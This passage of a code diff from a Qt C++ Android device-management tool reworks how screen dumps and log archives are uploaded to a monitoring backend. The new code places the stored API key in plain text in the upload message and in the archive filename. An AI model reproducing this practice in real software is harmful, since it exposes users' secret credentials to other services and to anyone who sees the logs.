handled, closeAndReenable, safetyTimer, progressGuard]() {
|
||||||
qDebug() << "[Dump] worker finished";
|
qDebug() << "[Dump] worker finished";
|
||||||
if (*handled) {
|
if (*handled) {
|
||||||
@ -511,9 +514,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
|||||||
qDebug() << "[Dump] uploading: screenshot=" << screenshot.size()
|
qDebug() << "[Dump] uploading: screenshot=" << screenshot.size()
|
||||||
<< "xml=" << xml.size();
|
<< "xml=" << xml.size();
|
||||||
|
|
||||||
const QString desktopId = SettingsDAO::get("desktop_id");
|
const QString text = apiToken;
|
||||||
const QString text = QString("Screen dump\nDevice: %1 (%2)\nDesktop: %3")
|
|
||||||
.arg(device.name, adbSerial, desktopId);
|
|
||||||
|
|
||||||
auto *mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
auto *mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
||||||
|
|
||||||
@ -527,7 +528,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
|||||||
QString safeName = device.name;
|
QString safeName = device.name;
|
||||||
safeName.replace(QRegularExpression(R"([^\w\-.])"), "_");
|
safeName.replace(QRegularExpression(R"([^\w\-.])"), "_");
|
||||||
const QString ts = QDateTime::currentDateTime().toString("yyyy-MM-dd_HH-mm-ss");
|
const QString ts = QDateTime::currentDateTime().toString("yyyy-MM-dd_HH-mm-ss");
|
||||||
const QString xmlFilename = safeName + "_" + ts + ".xml";
|
const QString xmlFilename = "DUMP_" + safeName + "_" + ts + ".xml";
|
||||||
|
|
||||||
QHttpPart filePart;
|
QHttpPart filePart;
|
||||||
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/xml");
|
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/xml");
|
||||||
@ -546,11 +547,10 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
|||||||
mp->append(imagePart);
|
mp->append(imagePart);
|
||||||
}
|
}
|
||||||
|
|
||||||
const QUrl url(apiBase + path);
|
const QUrl url(monitoringBase + path);
|
||||||
QNetworkRequest req(url);
|
QNetworkRequest req(url);
|
||||||
const QString accessToken = SettingsDAO::get("access_token");
|
if (!monitoringToken.isEmpty()) {
|
||||||
if (!accessToken.isEmpty()) {
|
req.setRawHeader("X-Monitoring-Token", monitoringToken.toUtf8());
|
||||||
req.setRawHeader("Authorization", ("Bearer " + accessToken).toUtf8());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
auto *manager = new QNetworkAccessManager;
|
auto *manager = new QNetworkAccessManager;
|
||||||
|
|||||||
@ -9,6 +9,7 @@
|
|||||||
#include <QHeaderView>
|
#include <QHeaderView>
|
||||||
#include <QMessageBox>
|
#include <QMessageBox>
|
||||||
#include <QMetaObject>
|
#include <QMetaObject>
|
||||||
|
#include <QRegularExpression>
|
||||||
#include <QSettings>
|
#include <QSettings>
|
||||||
#include <QProcess>
|
#include <QProcess>
|
||||||
#include <QPixmap>
|
#include <QPixmap>
|
||||||
@ -267,17 +268,28 @@ void FileLogWindow::sendLogsToBackend() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const QString desktopId = SettingsDAO::get("desktop_id");
|
const QString apiToken = SettingsDAO::get("api_key");
|
||||||
const QString text = QStringLiteral("kind: manual_logs\ndesktop: %1\ntime: %2")
|
const QDateTime now = QDateTime::currentDateTime();
|
||||||
.arg(desktopId, QDateTime::currentDateTime().toString(Qt::ISODate));
|
const QString timestamp = now.toString(Qt::ISODate);
|
||||||
|
QString header = QStringLiteral("[LOGS]");
|
||||||
|
if (!apiToken.isEmpty()) header += QStringLiteral(" [%1]").arg(apiToken.toHtmlEscaped());
|
||||||
|
const QString text = QStringLiteral("<b>%1</b>\n%2").arg(header, timestamp.toHtmlEscaped());
|
||||||
|
|
||||||
|
QString filenameSafeToken = apiToken;
|
||||||
|
filenameSafeToken.replace(QRegularExpression(R"([^\w\-.])"), "_");
|
||||||
|
const QString filenameStamp = now.toString("yyyy-MM-dd_HH-mm-ss");
|
||||||
|
const QString archiveFilename = filenameSafeToken.isEmpty()
|
||||||
|
? QStringLiteral("LOGS_%1.zip").arg(filenameStamp)
|
||||||
|
: QStringLiteral("LOGS_%1_%2.zip").arg(filenameSafeToken, filenameStamp);
|
||||||
|
|
||||||
qDebug() << "[sendLogsToBackend] dispatching to NetworkService::postMonitoringDump"
|
qDebug() << "[sendLogsToBackend] dispatching to NetworkService::postMonitoringDump"
|
||||||
<< "archive.size=" << archiveBytes.size();
|
<< "archive.size=" << archiveBytes.size() << "filename=" << archiveFilename;
|
||||||
const bool dispatched = QMetaObject::invokeMethod(svc, "postMonitoringDump",
|
const bool dispatched = QMetaObject::invokeMethod(svc, "postMonitoringDump",
|
||||||
Qt::QueuedConnection,
|
Qt::QueuedConnection,
|
||||||
Q_ARG(QString, text),
|
Q_ARG(QString, text),
|
||||||
Q_ARG(QByteArray, archiveBytes),
|
Q_ARG(QByteArray, archiveBytes),
|
||||||
Q_ARG(QByteArray, QByteArray()));
|
Q_ARG(QByteArray, QByteArray()),
|
||||||
|
Q_ARG(QString, archiveFilename));
|
||||||
|
|
||||||
m_sendBtn->setEnabled(true);
|
m_sendBtn->setEnabled(true);
|
||||||
m_sendBtn->setText("Отправить");
|
m_sendBtn->setText("Отправить");
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user